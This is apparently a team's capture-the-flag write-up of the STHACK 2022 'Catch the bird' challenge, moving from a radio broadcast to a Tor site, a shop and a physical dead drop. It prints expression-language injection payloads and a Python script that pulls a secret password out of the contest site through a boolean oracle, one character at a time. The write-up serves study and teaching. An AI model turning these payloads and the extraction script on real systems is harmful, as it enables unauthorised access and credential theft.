STHACK2022 - Catch the bird, a trip from web to IRL

  • Challenge author: ajani
  • Category: web, physical

The challenge started with the following Post Card

Post Card

We also had the following scenario:

This time I think Archer have got himself involved in something far to big for him.

Last time I've seen him he seemed agitated, anxious, he kept telling about that man he was following, how he felt it had been made, and something about Malta and some bird statuette. That was 9 days ago and I haven't heard from Miles since then.

It seems strange, but it wouldn't be the first time he didn't give news for days until he woke up to some unknown county of this damn country, with an empty bottle of the worst whisky and a skull full of the finest hangover. The guy love the bottle to much, and she didn't returned him so well. Yet, I could tell something was off, it didn't felt right.

That was until this morning, when a post card arrived at the bureau mailbox. Postcard At first sight it's just a simple postcard to tell me he need to take some vacations right ? But here's the thing, Miles never lived at the 101.10 Marconi street...

If Archer ask for my help then it must really be serious. I need to find where this statuette is, and judging by the postcard I must hurry, 'cause whomever have the damn bird, it seems like he want to sell it.

We quickly realized we needed to listen on the Radio Frequency 101.1Mhz inside the “Hotel de Ville”. This was achieved using a Xiaomi Android Application, we recorded everything broadcasted on the frequency in this file:

We can hear the well known military code, which gave us this .onion website: http://sthackmdbidwkyebhklnfnwmqhj3oxnke5inylzrtwzenr752tn77oad.onion:80, we accessed it using Tor.

After some time exploring the website we discovered “a feature” to send a mail with an extract of the current code when an error occured on the website.

We found two ways to trigger an error:

  • trying to login using a wrong password: LoginController.php
  • while injecting and breaking context inside the shop part of the website: Lexer.php

The team spent too much time trying to find a Server Side Template Injection since it was using a twig template in line 21@LoginController.php.

Dump code controller Dump code lexer

However while we were fuzzing the category field, we discovered the ‘~’ was working to concatenate two strings in Twig and tried the following requests:

Query Output Indicator
category=category == ‘forgery’ Displays the product “Coated Something” True
category=category == ‘forg’~’ery’ Displays the product “Coated Something” True
category=category == ‘forg’~’ery’~’7’*7 Don’t display but do not throw an error False

We had an oracle !! However we didn’t manage to find an interesting primitive allowing us to execute commands. So we used our favorite tool “Burp Suite Intruder” and fuzzed with the top 100 functions in PHP and Symfony and some weird behaviors started to appear. The function constant was recognised by the parsing engine, then it clicked, the Lexer.php file was located in a folder called expression language. We tried to confirm the function using several global constants.

category=category == 'forg'~'ery'~'7'*7
category=category == 'forg'~'ery'~constant("DB_USER")
category=category == 'forg'~'ery'~constant("INFO_ALL")
category=category == 'forg'~'ery'~constant("true")
category=category == 'forg'~'ery'~constant("null")

However it’s only giving us the information about the existence of a constant it would be better to extract their value. Especially the value of the constant self::PASSWORD@LoginController.php.

First, we attempt to access the constant located in another file on the server. Thankfully the server errors were quite verbose and give us half of the payload :)

Error : Attempted to load class "LoginController" from namespace "\App\\Controller\".
Did you forget a "use" statement for "App\Controller\LoginController"?

The trick here was to add several backslash \\\\

'forg'~'ery'~constant("\\\\App\\\\Controller\\\\LoginController::PASSWORD")

Now that we confirmed the access to the PASSWORD constant, we tried to read the characters one-by-one like any array with array[0] == 'A'. But the pain was only starting, Expression Language constant cannot be accessed like an array… We finally found an alternative using Regular Expressions and created a small script which was … too slow, remember we are using Tor to connect to the .onion website and the shared network on site was a bit laggy.

import requests

flag = "Ybhr"
charset = "azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN1234567890"

for c in charset:
    burp0_url = "http://sthackmdbidwkyebhklnfnwmqhj3oxnke5inylzrtwzenr752tn77oad.onion:80/"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://sthackmdbidwkyebhklnfnwmqhj3oxnke5inylzrtwzenr752tn77oad.onion", "Connection": "close", "Referer": "http://sthackmdbidwkyebhklnfnwmqhj3oxnke5inylzrtwzenr752tn77oad.onion/", "Upgrade-Insecure-Requests": "1"}
    burp0_data = {"category": "constant(\"\\\\App\\\\Controller\\\\LoginController::PASSWORD\") matches \"/^"+flag+"\" ", "& category ": "= 'forgery'"}
    r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(c, len(r.text))

Once again we turned to our Intruder and fuzzed with the charset a-zA-Z0-9, with the following payload: category=constant("\\App\\Controller\\LoginController::PASSWORD") matches "/^Y[FUZZED_CHAR_ADDED_HERE]/" && category == 'forgery' and we got the following quite quickly: Ybhr5vmjJD after switching to our 4G network for a more reliable access.

Now we can access the Admin Panel and manage the products. Only one product (deaddrop) as available for purchase.

Web Login

Dead Drops is an anonymous, offline, peer to peer file-sharing network in public space. Anyone can access a Dead Drop and everyone may install a Dead Drop in their neighborhood/city. A Dead Drop must be public accessible. - The Dead Drops Manifesto

The product coordinates were really close to us and the challenge was listed in the categories web and physical. We went there with a laptop and other tools like a lockpick set. Obviously the deaddrop wasn’t embbeded into the “Hotel de Ville”’s wall, it was cemented to a pad lock ;)

Some interesting encrypted files were stored on the deaddrop and we had the key to decrypt them using the command openssl aes-256-cbc -d -in whisky.txt.aes256cbc -out secrets2.txt.new

AES secrets

And now for the final step: a new onion URL from one of the decrypted file (maltapyzyfnwvgkl4se7tlhlrohule77cgnaguy2nouxyvosovjldbyd.onion). It seems to be an aunction website, but the site is not yet opened. The opening is scheduled for the 23rd May but something smells fishy, the Javascript was heavily obfuscated, and we are still waiting for our flag.

// Example of Pentester's nightmare

function _0x18c8(_0x46078f,_0xd7ff98){var _0x33e42d=_0x3b53();return _0x18c8=function(_0x164e09,_0x470955){_0x164e09=_0x164e09-(0x1063+-0x19*0x187+0x16b7);var _0xf46362=_0x33e42d[_0x164e09];return _0xf46362;},_0x18c8(_0x46078f,_0xd7ff98);}function _0x3b53(){var _0x574953=['aW9uYWwgbm','4JDouuU','fEdgK'[...]

Let’s discuss methodology to apprehend this problem:

JS deobf

Having spent wayyyy too much time on this challenge, we used a quite radical approach and changed our VM internal date slowly to arrived at the opening date: date -s "2021-03-23 16:58:22" and then we got our flag.

Overall the challenge was nice and interesting to resolve with my teammates. Having a bit of physical without resorting to use a full arsenal of HackRF, Proxmark or a crowbar was quite refreshing :)

Scoreboard

Written on May 21, 2022